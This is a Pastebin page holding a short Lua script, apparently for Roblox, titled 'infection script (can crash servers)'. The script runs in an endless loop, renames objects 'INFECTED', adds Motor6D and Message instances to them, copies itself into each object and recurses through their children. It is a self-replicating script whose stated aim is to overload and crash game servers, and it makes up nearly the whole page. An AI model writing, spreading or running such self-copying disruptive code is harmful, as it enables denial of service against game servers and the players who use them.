Advertisement
PersonsadminTeam

infection script (can crash servers)

Aug 7th, 2016
507
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.40 KB | None | 0 0
  1. while wait() do
  2. function infection(object)
  3. if not object:FindFirstChild("INFECTED") then
  4. object.Name="INFECTED"
  5. local infected = Instance.new("Motor6D", object)
  6. infected.Name = "INFECTED"
  7. local message = Instance.new("Message", object)
  8. message.Text = "_INFECTED_"
  9. script:Clone().Parent=object
  10. else
  11. for i,v in pairs(object:GetChildren()) do
  12. infection(v)
  13. end
  14. end
  15. end
  16. infection(script.Parent)
  17. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement